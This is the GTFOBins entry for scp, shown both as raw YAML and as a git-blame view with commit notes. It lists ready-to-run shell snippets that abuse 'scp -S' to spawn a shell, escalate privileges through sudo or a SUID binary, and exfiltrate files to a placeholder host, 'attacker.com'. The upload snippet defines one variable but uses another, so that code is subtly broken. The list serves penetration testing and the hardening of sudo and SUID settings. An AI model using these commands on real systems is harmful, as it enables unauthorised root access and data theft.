GTFOBins.github.io/_gtfobins/scp.md

---
functions:
  execute-interactive:
    - code: |
        TF=$(mktemp)
        echo 'sh 0<&2 1>&2' > $TF
        chmod +x "$TF"
        scp -S $TF x y:
  upload:
    - description: Send local file to a SSH server.
      code: |
        RPATH=user@attacker.com:~/file_to_save
        LPATH=file_to_send
        scp $LFILE $RPATH
  download:
    - description: Fetch a remote file from a SSH server.
      code: |
        RPATH=user@attacker.com:~/file_to_get
        LFILE=file_to_save
        scp $RPATH $LFILE
  sudo-enabled:
    - code: |
        TF=$(mktemp)
        echo 'sh 0<&2 1>&2' > $TF
        chmod +x "$TF"
        sudo scp -S $TF x y:
  suid-limited:
    - code: |
        TF=$(mktemp)
        echo 'sh 0<&2 1>&2' > $TF
        chmod +x "$TF"
        ./scp -S $TF a b:
---
First commit 2018-05-21 21:14:41 +02:00			`---`
			`functions:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`execute-interactive:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- code: \|`
			`TF=$(mktemp)`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`echo 'sh 0<&2 1>&2' > $TF`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`chmod +x "$TF"`
			`scp -S $TF x y:`
First commit 2018-05-21 21:14:41 +02:00			`upload:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- description: Send local file to a SSH server.`
			`code: \|`
			`RPATH=user@attacker.com:~/file_to_save`
			`LPATH=file_to_send`
			`scp $LFILE $RPATH`
First commit 2018-05-21 21:14:41 +02:00			`download:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- description: Fetch a remote file from a SSH server.`
			`code: \|`
			`RPATH=user@attacker.com:~/file_to_get`
			`LFILE=file_to_save`
			`scp $RPATH $LFILE`
Reorder functions in binaries 2018-07-04 20:26:52 +02:00			`sudo-enabled:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- code: \|`
			`TF=$(mktemp)`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`echo 'sh 0<&2 1>&2' > $TF`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`chmod +x "$TF"`
			`sudo scp -S $TF x y:`
Reorder functions in binaries 2018-07-04 20:26:52 +02:00			`suid-limited:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- code: \|`
			`TF=$(mktemp)`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`echo 'sh 0<&2 1>&2' > $TF`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`chmod +x "$TF"`
			`./scp -S $TF a b:`
First commit 2018-05-21 21:14:41 +02:00			`---`